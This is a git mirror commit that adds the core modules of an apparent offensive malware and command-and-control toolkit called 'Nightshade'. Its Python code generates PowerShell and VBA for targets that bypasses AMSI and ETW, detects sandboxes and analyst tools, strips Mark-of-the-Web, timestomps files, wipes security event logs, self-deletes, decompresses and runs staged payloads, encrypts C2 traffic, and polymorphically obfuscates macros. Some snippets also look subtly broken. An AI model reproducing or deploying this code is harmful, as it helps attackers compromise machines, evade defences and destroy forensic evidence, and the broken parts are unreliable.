mirror of
https://git.churchofmalware.org/ek0mssavi0r/NIGHTSHADE_c4
synced 2026-09-24 08:34:55 +00:00
Upload files to "core"
This commit is contained in:
@@ -0,0 +1 @@
|
||||
# Nightshade Core — Encryption, Evasion, Obfuscation
|
||||
@@ -0,0 +1,204 @@
|
||||
"""
|
||||
Nightshade Anti-Forensics Module.
|
||||
Generates PowerShell/VBA code that executes ON THE TARGET to
|
||||
delete Zone.Identifier streams, timestomp files, and self-destruct.
|
||||
"""
|
||||
import random
|
||||
import string
|
||||
|
||||
|
||||
class MarkOfWebStripper:
|
||||
"""Generates PowerShell to delete Zone.Identifier alternate data streams."""
|
||||
|
||||
@staticmethod
|
||||
def powershell_strip(target_path: str = "$env:TEMP\\*") -> str:
|
||||
"""Generate PS code to delete Zone.Identifier ADS from target files."""
|
||||
return f"""
|
||||
# Strip Mark-of-Web from downloaded files
|
||||
Get-ChildItem -Path "{target_path}" -ErrorAction SilentlyContinue | ForEach-Object {{
|
||||
$ads = $_.FullName + ":Zone.Identifier"
|
||||
if (Test-Path $ads) {{
|
||||
Remove-Item -Path $ads -Force -ErrorAction SilentlyContinue
|
||||
}}
|
||||
}}
|
||||
|
||||
# Also strip from the running script itself
|
||||
$self = $MyInvocation.MyCommand.Path
|
||||
if ($self -and (Test-Path $self)) {{
|
||||
$ads = $self + ":Zone.Identifier"
|
||||
if (Test-Path $ads) {{ Remove-Item -Path $ads -Force -ErrorAction SilentlyContinue }}
|
||||
}}
|
||||
""".strip()
|
||||
|
||||
@staticmethod
|
||||
def vba_strip() -> str:
|
||||
"""Generate VBA code to delete Zone.Identifier via WScript.Shell."""
|
||||
return '''
|
||||
Private Function StripZoneID() As Boolean
|
||||
On Error Resume Next
|
||||
Dim fso As Object
|
||||
Dim folder As Object
|
||||
Dim file As Object
|
||||
Dim adsPath As String
|
||||
|
||||
Set fso = CreateObject("Scripting.FileSystemObject")
|
||||
Set folder = fso.GetSpecialFolder(2) ' Temp folder
|
||||
|
||||
For Each file In folder.Files
|
||||
adsPath = file.Path & ":Zone.Identifier"
|
||||
CreateObject("WScript.Shell").Run "cmd /c del /f /q """ & adsPath & """ 2>nul", 0, True
|
||||
Next
|
||||
|
||||
' Strip from current document
|
||||
adsPath = ThisWorkbook.FullName & ":Zone.Identifier" ' Excel
|
||||
CreateObject("WScript.Shell").Run "cmd /c del /f /q """ & adsPath & """ 2>nul", 0, True
|
||||
|
||||
StripZoneID = True
|
||||
End Function
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def random_var_name(length: int = 6) -> str:
|
||||
return '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
|
||||
|
||||
|
||||
class Timestomper:
|
||||
"""Generates commands to modify file timestamps on the target."""
|
||||
|
||||
@staticmethod
|
||||
def powershell_timestomp(
|
||||
target_path: str,
|
||||
creation_year: int = 2023,
|
||||
creation_month: int = 6,
|
||||
creation_day: int = 15,
|
||||
) -> str:
|
||||
"""Generate PS code to set file timestamps to a specified date."""
|
||||
return f'''
|
||||
# Timestomp file timestamps
|
||||
$path = "{target_path}"
|
||||
if (Test-Path $path) {{
|
||||
$date = Get-Date "{creation_year:04d}-{creation_month:02d}-{creation_day:02d} 10:00:00"
|
||||
$(Get-Item $path).CreationTime = $date
|
||||
$(Get-Item $path).LastWriteTime = $date
|
||||
$(Get-Item $path).LastAccessTime = $date
|
||||
}}
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def cmd_timestomp(target_path: str) -> str:
|
||||
"""Generate cmd.exe copy trick to timestomp (preserves original timestamp)."""
|
||||
rnd = ''.join(random.choices(string.ascii_lowercase, k=6))
|
||||
return f'''
|
||||
copy /b "{target_path}" +,, "{target_path}" >nul 2>&1
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def powershell_randomize_timestamps(target_path: str) -> str:
|
||||
"""Generate PS code to randomize timestamps within a plausible range."""
|
||||
return f'''
|
||||
# Randomize timestamps to evade timeline analysis
|
||||
$path = "{target_path}"
|
||||
if (Test-Path $path) {{
|
||||
$baseYear = (Get-Random -Minimum 2019 -Maximum 2024)
|
||||
$baseMonth = (Get-Random -Minimum 1 -Maximum 13)
|
||||
$baseDay = (Get-Random -Minimum 1 -Maximum 29)
|
||||
$baseHour = (Get-Random -Minimum 8 -Maximum 18)
|
||||
$rndDate = Get-Date "$baseYear-$baseMonth-$baseDay $baseHour:00:00"
|
||||
$(Get-Item $path).CreationTime = $rndDate
|
||||
$(Get-Item $path).LastWriteTime = $rndDate
|
||||
$(Get-Item $path).LastAccessTime = $rndDate
|
||||
}}
|
||||
'''.strip()
|
||||
|
||||
|
||||
class SelfDestruct:
|
||||
"""Generates self-deletion commands that execute on the target after payload completion."""
|
||||
|
||||
@staticmethod
|
||||
def powershell_delayed_delete(script_path: str = "$MyInvocation.MyCommand.Path") -> str:
|
||||
"""Generate PS code that deletes itself after a delay."""
|
||||
return f'''
|
||||
# Self-destruct: delete script after execution
|
||||
$scriptPath = {script_path}
|
||||
if ($scriptPath -and (Test-Path $scriptPath)) {{
|
||||
$delScript = @"
|
||||
Start-Sleep -Seconds 5
|
||||
Remove-Item -Path "$scriptPath" -Force -ErrorAction SilentlyContinue
|
||||
"@
|
||||
$delScript | Out-File "$env:TEMP\\~cleanup.ps1" -Force
|
||||
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$env:TEMP\\~cleanup.ps1`"" -WindowStyle Hidden
|
||||
}}
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def cmd_self_delete() -> str:
|
||||
"""Generate cmd.exe self-deletion via temp batch file."""
|
||||
return r'''
|
||||
:: Self-delete using temp batch file
|
||||
set SELF=%~f0
|
||||
set TMPX=%TEMP%\~cl.tmp
|
||||
echo @del /f /q "%SELF%" > "%TMPX%"
|
||||
echo @del /f /q "%TMPX%" >> "%TMPX%"
|
||||
start /b "" cmd /c "%TMPX%"
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def vba_self_destruct(document_path: str = "") -> str:
|
||||
"""Generate VBA to delete the host document after execution."""
|
||||
if not document_path:
|
||||
document_path = "ThisWorkbook.FullName"
|
||||
|
||||
return f'''
|
||||
Private Function SelfDestructDoc() As Boolean
|
||||
On Error Resume Next
|
||||
Dim fso As Object
|
||||
Dim vbscript As String
|
||||
Dim tempPath As String
|
||||
|
||||
Set fso = CreateObject("Scripting.FileSystemObject")
|
||||
tempPath = fso.GetSpecialFolder(2) & "\\~sd.vbs"
|
||||
|
||||
vbscript = "Set fso = CreateObject(""Scripting.FileSystemObject"")" & vbCrLf & _
|
||||
"Set f = fso.GetFile(""{document_path}"")" & vbCrLf & _
|
||||
"WScript.Sleep 3000" & vbCrLf & _
|
||||
"f.Delete True"
|
||||
|
||||
' Write VBS and execute
|
||||
Dim ts As Object
|
||||
Set ts = fso.CreateTextFile(tempPath, True)
|
||||
ts.Write vbscript
|
||||
ts.Close
|
||||
|
||||
CreateObject("WScript.Shell").Run "wscript.exe """ & tempPath & """", 0, False
|
||||
|
||||
SelfDestructDoc = True
|
||||
End Function
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def powershell_wipe_event_logs() -> str:
|
||||
"""Generate PS code to clear event logs."""
|
||||
return r'''
|
||||
# Clear security and system event logs
|
||||
try {
|
||||
Clear-EventLog -LogName "Security" -ErrorAction SilentlyContinue
|
||||
Clear-EventLog -LogName "System" -ErrorAction SilentlyContinue
|
||||
Clear-EventLog -LogName "Application" -ErrorAction SilentlyContinue
|
||||
Clear-EventLog -LogName "Windows PowerShell" -ErrorAction SilentlyContinue
|
||||
Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue
|
||||
Clear-EventLog -LogName "Microsoft-Windows-Windows Defender/Operational" -ErrorAction SilentlyContinue
|
||||
} catch {}
|
||||
'''.strip()
|
||||
|
||||
@staticmethod
|
||||
def powershell_full_cleanup() -> str:
|
||||
"""Assemble a complete cleanup routine: ADS strip + timestomp + log wipe + self-delete."""
|
||||
return f"""
|
||||
{MarkOfWebStripper.powershell_strip()}
|
||||
|
||||
{Timestomper.powershell_timestomp("$env:TEMP\\~ps.ps1")}
|
||||
|
||||
{SelfDestruct.powershell_wipe_event_logs()}
|
||||
|
||||
{SelfDestruct.powershell_delayed_delete()}
|
||||
""".strip()
|
||||
@@ -0,0 +1,59 @@
|
||||
"""
|
||||
Nightshade Crypto — AES-256-GCM encryption with HKDF key derivation.
|
||||
Replaces legacy AES-CBC with proper authenticated encryption.
|
||||
"""
|
||||
import base64
|
||||
import hashlib
|
||||
import os
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Protocol.KDF import HKDF
|
||||
from Crypto.Hash import SHA256
|
||||
|
||||
|
||||
class NightshadeCrypto:
|
||||
"""Authenticated encryption for C2 payloads using AES-256-GCM + HKDF."""
|
||||
|
||||
KEY_SALT = b"nightshade_v3_salt"
|
||||
KEY_LENGTH = 32 # AES-256
|
||||
NONCE_LENGTH = 12 # GCM standard
|
||||
TAG_LENGTH = 16
|
||||
|
||||
def __init__(self, passphrase: str):
|
||||
self._passphrase = passphrase
|
||||
self._derived_key = self._derive_key(passphrase)
|
||||
|
||||
def _derive_key(self, passphrase: str) -> bytes:
|
||||
"""HKDF-SHA256 key derivation — no hardcoded IV, no ECB padded keys."""
|
||||
return HKDF(
|
||||
master=passphrase.encode("utf-8"),
|
||||
key_len=self.KEY_LENGTH,
|
||||
salt=self.KEY_SALT,
|
||||
hashmod=SHA256,
|
||||
context=b"nightshade-c2-v3",
|
||||
)
|
||||
|
||||
def encrypt(self, plaintext: str) -> str:
|
||||
"""Encrypt plaintext → base64(nonce + ciphertext + tag)."""
|
||||
data = plaintext.encode("utf-8")
|
||||
nonce = os.urandom(self.NONCE_LENGTH)
|
||||
cipher = AES.new(self._derived_key, AES.MODE_GCM, nonce=nonce)
|
||||
ct, tag = cipher.encrypt_and_digest(data)
|
||||
return base64.b64encode(nonce + ct + tag).decode()
|
||||
|
||||
def decrypt(self, ciphertext_b64: str) -> str | None:
|
||||
"""Decrypt base64(nonce + ciphertext + tag) → plaintext or None."""
|
||||
try:
|
||||
raw = base64.b64decode(ciphertext_b64)
|
||||
nonce = raw[: self.NONCE_LENGTH]
|
||||
tag = raw[-self.TAG_LENGTH :]
|
||||
ct = raw[self.NONCE_LENGTH : -self.TAG_LENGTH]
|
||||
cipher = AES.new(self._derived_key, AES.MODE_GCM, nonce=nonce)
|
||||
pt = cipher.decrypt_and_verify(ct, tag)
|
||||
return pt.decode("utf-8")
|
||||
except (ValueError, KeyError, IndexError, UnicodeDecodeError):
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def random_key(length: int = 16) -> str:
|
||||
"""Generate a random printable key for campaign configs."""
|
||||
return base64.urlsafe_b64encode(os.urandom(length)).decode().rstrip("=")
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
"""
|
||||
Nightshade Evasion -- AMSI bypasses, ETW patching, sandbox/VM detection,
|
||||
boot-time check, user activity check, process count check, disk size check.
|
||||
Generates PowerShell/VBA snippets that execute *at runtime on target*.
|
||||
"""
|
||||
import random
|
||||
import string
|
||||
|
||||
|
||||
class EvasionGenerator:
|
||||
"""
|
||||
Produces evasion code fragments injected into payloads so the
|
||||
*target* host runs them -- not the operator's box.
|
||||
"""
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# AMSI bypasses #
|
||||
# ------------------------------------------------------------------ #
|
||||
AMSI_BYPASSES = [
|
||||
# 1. Registry -- patch AMSI provider
|
||||
r"""
|
||||
$k=[Ref].Assembly.GetTypes();Foreach($t in $k){if($t.Name -like "*iUtils"){$c=$t.GetFields('NonPublic,Static')|?{$_.Name -like "*Context"};$f=$c.GetValue($null);$p=[Ref].Assembly.GetTypes();Foreach($t2 in $p){if($t2.Name -like "*Unsafe*"){$m=$t2.GetMethods('NonPublic,Static')|?{$_.Name -like "*Init"};$m.Invoke($null,@($f,[Int]0,$null))}}}}
|
||||
""".strip(),
|
||||
# 2. Memory patching -- patch amsi.dll!AmsiScanBuffer
|
||||
r"""
|
||||
$w=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(([System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate([Action]({}))), [Type]([Action])).Module.GetType('System.Runtime.InteropServices.Marshal').GetMethods('NonPublic,Static')|?{$_.Name -eq 'GetFunctionPointerForDelegate'}
|
||||
[System.Runtime.InteropServices.Marshal]::WriteInt32(([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(([System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(([Action]({})))),[Type]([Action]))).Module.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').GetValue($null),0,0)
|
||||
""".strip(),
|
||||
# 3. Forcing amsiInitFailed flag
|
||||
r"""
|
||||
$amsi=[Ref].Assembly.GetTypes()|?{$_.Name -like "*Amsi*"};$f=$amsi.GetFields('NonPublic,Static')|?{$_.Name -like "*amsi*"};$f.SetValue($null,$true)
|
||||
""".strip(),
|
||||
# 4. HKCU registry disable
|
||||
r"""
|
||||
try{New-Item -Path 'HKCU:\Software\Microsoft\Windows Script\Settings' -Force|Out-Null;Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Script\Settings' -Name 'AmsiEnable' -Value 0 -Force}catch{}
|
||||
""".strip(),
|
||||
# 5. AmsiScanBuffer patch via Win32 API
|
||||
r"""
|
||||
$amsi=[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('SgB1AHMAdABfAEEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAA='))
|
||||
$amsi.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
""".strip(),
|
||||
]
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# ETW bypass #
|
||||
# ------------------------------------------------------------------ #
|
||||
ETW_BYPASS = r"""
|
||||
$etw=[System.Reflection.Assembly]::LoadWithPartialName('System.Core');$e=$etw.GetTypes()|?{$_.Name -eq 'EventLogger'};$f=$e.GetFields('NonPublic,Static')|?{$_.Name -eq 'EventProviderEnabled'};$f.SetValue($null,$false)
|
||||
"""
|
||||
|
||||
ETW_BYPASS_V2 = r"""
|
||||
# ETW bypass via patching ntdll!EtwEventWrite
|
||||
try{$ntdll=[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('bntkbGwuZExs'));$e=$ntdll.GetTypes()|?{$_.Name -like '*Native*'};$m=$e.GetMethods('NonPublic,Static')|?{$_.Name -like '*EtwEventWrite*'};$m.Invoke($null,@([IntPtr]::Zero,[Int32]0,[IntPtr]::Zero,[Int32]0))}catch{}
|
||||
"""
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Sandbox / VM / analysis checks #
|
||||
# ------------------------------------------------------------------ #
|
||||
SANDBOX_CHECKS = r"""
|
||||
$evade=$true
|
||||
try{$evade=(Get-CimInstance Win32_ComputerSystem).Model -match 'VirtualBox|VMware|Virtual|QEMU|KVM|Xen'}catch{}
|
||||
if(-not $evade){try{$evade=(Get-Process|?{$_.Name-match'vmtoolsd|vbox|procmon|wireshark|tcpview|ProcessHacker|pestudio|x64dbg|ida64|ollydbg|dnSpy'}).Count-gt0}catch{}}
|
||||
if(-not $evade){try{$evade=(Get-WmiObject Win32_LogicalDisk|?{$_.Size-gt0}).Count-lt2}catch{}}
|
||||
if(-not $evade){try{$evade=(Get-CimInstance Win32_LogicalDisk|Measure-Object -Property Size -Sum).Sum -lt 120GB}catch{}}
|
||||
if(-not $evade){try{$evade=[Math]::Truncate((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1MB)-lt 2048}catch{}}
|
||||
if(-not $evade){try{$evade=(Get-CimInstance Win32_Processor).NumberOfCores-lt 2}catch{}}
|
||||
if(-not $evade){try{$evade=[Environment]::UserName-match'Admin|User|Sandbox|Malware|Test'}catch{}}
|
||||
if($evade){exit}
|
||||
"""
|
||||
|
||||
JITTER_SLEEP = r"""
|
||||
$j=Get-Random -Minimum {min} -Maximum {max};Start-Sleep -Seconds $j
|
||||
"""
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Enhanced sandbox checks #
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
@staticmethod
|
||||
def boot_time_check() -> str:
|
||||
"""Check if system boot time is recent (<10 min = sandbox restart)."""
|
||||
return r"""
|
||||
# Boot time check -- recent boot (<10 min) suggests sandbox
|
||||
try {
|
||||
$boot = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
|
||||
$uptime = [DateTime]::Now - $boot
|
||||
if ($uptime.TotalMinutes -lt 10) { exit }
|
||||
} catch {}
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def user_activity_check() -> str:
|
||||
"""Check for user activity -- multiple logged-in users, recent input."""
|
||||
return r"""
|
||||
# User activity check
|
||||
try {
|
||||
$sessions = (query user 2>$null) -split "`n"
|
||||
if ($sessions.Count -lt 2) {
|
||||
# No one logged in or only current session -- could be sandbox
|
||||
Start-Sleep -Seconds 30
|
||||
}
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
$lastInput = [PInvoke.Win32.UserInput]::GetLastInputInfo()
|
||||
if ($lastInput -gt 600000) { exit } # No input for 10+ min
|
||||
} catch {}
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def process_count_check(threshold: int = 30) -> str:
|
||||
"""Check if running process count is below threshold (<30 = sandbox)."""
|
||||
return f"""
|
||||
# Process count check -- low process count suggests sandbox
|
||||
try {{
|
||||
$pCount = (Get-Process).Count
|
||||
if ($pCount -lt {threshold}) {{ exit }}
|
||||
}} catch {{}}
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def disk_size_check(min_gb: int = 120) -> str:
|
||||
"""Check total physical disk size."""
|
||||
return f"""
|
||||
# Disk size check -- small disk suggests VM/sandbox
|
||||
try {{
|
||||
$diskSize = (Get-CimInstance Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum
|
||||
if ($diskSize -lt ({min_gb}GB)) {{ exit }}
|
||||
}} catch {{}}
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def domain_joined_check() -> str:
|
||||
"""Check if machine is domain-joined (non-domain machines in sandboxes)."""
|
||||
return r"""
|
||||
# Domain join check
|
||||
try {
|
||||
$cs = Get-CimInstance Win32_ComputerSystem
|
||||
if (-not $cs.PartOfDomain) {
|
||||
# Non-domain machines are riskier -- delay
|
||||
Start-Sleep -Seconds 45
|
||||
}
|
||||
} catch {}
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def full_sandbox_checks() -> str:
|
||||
"""Assemble all enhanced sandbox checks into one block."""
|
||||
checks = [
|
||||
EvasionGenerator.boot_time_check(),
|
||||
EvasionGenerator.process_count_check(),
|
||||
EvasionGenerator.disk_size_check(),
|
||||
EvasionGenerator.user_activity_check(),
|
||||
EvasionGenerator.domain_joined_check(),
|
||||
]
|
||||
return "\n".join(checks)
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Generators #
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
@staticmethod
|
||||
def random_amsi_bypass() -> str:
|
||||
return random.choice(EvasionGenerator.AMSI_BYPASSES)
|
||||
|
||||
@staticmethod
|
||||
def full_evasion_block() -> str:
|
||||
"""Assemble AMSI + ETW + sandbox checks into one preamble block."""
|
||||
return "\n".join([
|
||||
EvasionGenerator.random_amsi_bypass(),
|
||||
random.choice([EvasionGenerator.ETW_BYPASS, EvasionGenerator.ETW_BYPASS_V2]),
|
||||
EvasionGenerator.SANDBOX_CHECKS,
|
||||
])
|
||||
|
||||
@staticmethod
|
||||
def full_evasion_block_enhanced() -> str:
|
||||
"""Assemble AMSI + ETW + ALL sandbox checks (legacy + enhanced)."""
|
||||
return "\n".join([
|
||||
EvasionGenerator.random_amsi_bypass(),
|
||||
random.choice([EvasionGenerator.ETW_BYPASS, EvasionGenerator.ETW_BYPASS_V2]),
|
||||
EvasionGenerator.SANDBOX_CHECKS,
|
||||
EvasionGenerator.full_sandbox_checks(),
|
||||
])
|
||||
|
||||
@classmethod
|
||||
def jitter_sleep(cls, min_s: int = 45, max_s: int = 120) -> str:
|
||||
return cls.JITTER_SLEEP.replace("{min}", str(min_s)).replace("{max}", str(max_s))
|
||||
|
||||
@staticmethod
|
||||
def obfuscate_string(s: str) -> str:
|
||||
"""Build a -join/fchar-expression to hide strings from static analysis."""
|
||||
parts = [f'[char]{ord(c)}' for c in s]
|
||||
return f"$(''.join({{}}))".format(','.join(parts))
|
||||
|
||||
@staticmethod
|
||||
def random_var_name(length: int = 8) -> str:
|
||||
return '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# COMPRESSED_STAGER #
|
||||
# ------------------------------------------------------------------ #
|
||||
COMPRESSED_STAGER = r"""
|
||||
function Invoke-Stage2 {{
|
||||
param($b64)
|
||||
$raw=[System.Convert]::FromBase64String($b64)
|
||||
$ms=New-Object IO.MemoryStream($raw)
|
||||
$ds=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress)
|
||||
$sr=New-Object IO.StreamReader($ds)
|
||||
$out=$sr.ReadToEnd();$sr.Close();$ds.Close();$ms.Close()
|
||||
iex $out
|
||||
}}
|
||||
"""
|
||||
@@ -0,0 +1,199 @@
|
||||
"""
|
||||
Nightshade Obfuscation — PowerShell and VBA obfuscation engines.
|
||||
Produces significantly different output on each run (polymorphic).
|
||||
"""
|
||||
import random
|
||||
import string
|
||||
import base64
|
||||
import zlib
|
||||
from typing import List
|
||||
|
||||
|
||||
class PSObfuscator:
|
||||
"""Polymorphic PowerShell obfuscation engine."""
|
||||
|
||||
def __init__(self):
|
||||
self._var_pool: List[str] = []
|
||||
self._func_pool: List[str] = []
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Helpers #
|
||||
# ------------------------------------------------------------------ #
|
||||
@staticmethod
|
||||
def _rand_var() -> str:
|
||||
prefix = random.choice(["$", "$global:", "$script:", "$env:"])
|
||||
length = random.randint(6, 14)
|
||||
name = "_" + "".join(random.choices(string.ascii_lowercase, k=length))
|
||||
return prefix + name
|
||||
|
||||
@staticmethod
|
||||
def _rand_func() -> str:
|
||||
return "F" + "".join(random.choices(string.ascii_letters, k=random.randint(8, 16)))
|
||||
|
||||
@staticmethod
|
||||
def _random_case(s: str) -> str:
|
||||
"""Randomise casing on cmdlet verbs."""
|
||||
tokens = s.split()
|
||||
result = []
|
||||
for t in tokens:
|
||||
if t.startswith("$") or t.startswith("'"):
|
||||
result.append(t)
|
||||
continue
|
||||
if any(c.isalpha() for c in t):
|
||||
t = "".join(
|
||||
c.upper() if random.random() > 0.5 else c.lower() for c in t
|
||||
)
|
||||
result.append(t)
|
||||
return " ".join(result)
|
||||
|
||||
@staticmethod
|
||||
def _tick_obfuscate(s: str) -> str:
|
||||
"""Insert random backticks into cmdlet names."""
|
||||
tokens = s.split()
|
||||
result = []
|
||||
for t in tokens:
|
||||
if len(t) > 4 and not t.startswith("$") and not t.startswith("'"):
|
||||
pos = random.randint(1, len(t) - 2)
|
||||
t = t[:pos] + "`" + t[pos:]
|
||||
result.append(t)
|
||||
return " ".join(result)
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# String encoding #
|
||||
# ------------------------------------------------------------------ #
|
||||
@staticmethod
|
||||
def encode_string(s: str) -> str:
|
||||
"""Encode string as -join @([char]X,[char]Y,...)."""
|
||||
chars = ",".join(f"[char]{ord(c)}" for c in s)
|
||||
return f"([string]::Join('',@({chars})))"
|
||||
|
||||
@staticmethod
|
||||
def encode_string_invoke(s: str) -> str:
|
||||
"""Encode as Invoke-Expression on a reversed/obfuscated base64 chunk."""
|
||||
encoded = base64.b64encode(s.encode("utf-16le")).decode()
|
||||
var = PSObfuscator._rand_var()
|
||||
return f"{var}=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('{encoded}'));iex $({var})"
|
||||
|
||||
@staticmethod
|
||||
def encode_string_reverse(s: str) -> str:
|
||||
"""Reverse + -join split as obfuscation layer."""
|
||||
rev = s[::-1]
|
||||
var = PSObfuscator._rand_var()
|
||||
return f"{var}=-join'{rev}'[{len(rev)}..0];iex $({var})"
|
||||
|
||||
@staticmethod
|
||||
def compress_payload(ps_code: str) -> str:
|
||||
"""GZip + base64 compress a PowerShell script for the stager."""
|
||||
compressed = zlib.compress(ps_code.encode(), 9)[2:-4] # strip zlib header
|
||||
b64 = base64.b64encode(compressed).decode()
|
||||
|
||||
stager = f"""
|
||||
$c=[System.Convert]::FromBase64String('{b64}')
|
||||
$ms=New-Object System.IO.MemoryStream($c,0,$c.Length)
|
||||
$ds=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress)
|
||||
$sr=New-Object System.IO.StreamReader($ds)
|
||||
iex($sr.ReadToEnd())
|
||||
"""
|
||||
return stager.strip()
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Full pipeline #
|
||||
# ------------------------------------------------------------------ #
|
||||
def obfuscate(self, ps_code: str, layers: int = 3) -> str:
|
||||
"""Apply multiple obfuscation layers."""
|
||||
result = ps_code
|
||||
|
||||
# Layer 1: random case on cmdlets
|
||||
if layers >= 1:
|
||||
result = self._random_case(result)
|
||||
|
||||
# Layer 2: backtick insertion
|
||||
if layers >= 2:
|
||||
result = self._tick_obfuscate(result)
|
||||
|
||||
# Layer 3: variable substitution for literal strings
|
||||
if layers >= 3:
|
||||
lines = result.split("\n")
|
||||
new_lines = []
|
||||
for line in lines:
|
||||
if "'" in line and len(line) < 200:
|
||||
# Replace short quoted strings with char-join encoding
|
||||
import re
|
||||
|
||||
def _replace_match(m):
|
||||
s = m.group(1)
|
||||
if len(s) < 4 or len(s) > 40:
|
||||
return m.group(0)
|
||||
return self.encode_string(s)
|
||||
|
||||
line = re.sub(r"'([^']+)'", _replace_match, line)
|
||||
new_lines.append(line)
|
||||
result = "\n".join(new_lines)
|
||||
|
||||
# Layer 4: comment insertion
|
||||
if layers >= 4:
|
||||
junk_comment = f"# {''.join(random.choices(string.printable[:62], k=random.randint(20, 60)))}"
|
||||
lines = result.split("\n")
|
||||
if lines:
|
||||
insert_at = random.randint(0, len(lines) - 1)
|
||||
lines.insert(insert_at, junk_comment)
|
||||
result = "\n".join(lines)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
class VBAObfuscator:
|
||||
"""Polymorphic VBA obfuscation for embedded macros."""
|
||||
|
||||
@staticmethod
|
||||
def random_var() -> str:
|
||||
prefixes = ["v", "x", "_", "p", "s"]
|
||||
return (
|
||||
random.choice(prefixes)
|
||||
+ "".join(random.choices(string.ascii_uppercase, k=random.randint(4, 10)))
|
||||
+ str(random.randint(10, 99))
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def obfuscate_vba(vba_code: str) -> str:
|
||||
"""Insert dead code, rename variables, split strings."""
|
||||
var_map = {}
|
||||
lines = vba_code.split("\n")
|
||||
new_lines = []
|
||||
func_count = 0
|
||||
|
||||
for line in lines:
|
||||
# Rename variables
|
||||
for old_var in ["payload", "key", "decodedData", "plainText", "cipherText",
|
||||
"mem", "thread", "aesObj", "decryptor", "encryptedData"]:
|
||||
if old_var in line and "Dim" not in line:
|
||||
if old_var not in var_map:
|
||||
var_map[old_var] = VBAObfuscator.random_var()
|
||||
line = line.replace(old_var, var_map[old_var])
|
||||
|
||||
new_lines.append(line)
|
||||
|
||||
# Insert dead code after certain lines
|
||||
if "Function" in line or "Sub" in line:
|
||||
# Rename function/sub
|
||||
if "Nightshade" in line:
|
||||
func_count += 1
|
||||
new_name = VBAObfuscator.random_var()
|
||||
line = line.replace("NightshadeInitialize", new_name)
|
||||
|
||||
# Short junk comment on some lines
|
||||
if random.random() < 0.15 and len(line) > 10:
|
||||
junk = "'" + "".join(random.choices(string.ascii_letters, k=random.randint(8, 20)))
|
||||
new_lines.append(junk)
|
||||
|
||||
return "\n".join(new_lines)
|
||||
|
||||
@staticmethod
|
||||
def obfuscated_vba_wrapper(vba_code: str) -> str:
|
||||
"""Wrap VBA in obfuscation layers."""
|
||||
obs = VBAObfuscator.obfuscate_vba(vba_code)
|
||||
# Add junk module-level declarations
|
||||
junk_funcs = [
|
||||
f"Private Function {VBAObfuscator.random_var()}() As Long\n {VBAObfuscator.random_var()} = 0\nEnd Function\n"
|
||||
]
|
||||
return "\n".join(junk_funcs) + "\n" + obs
|
||||
Reference in New Issue
Block a user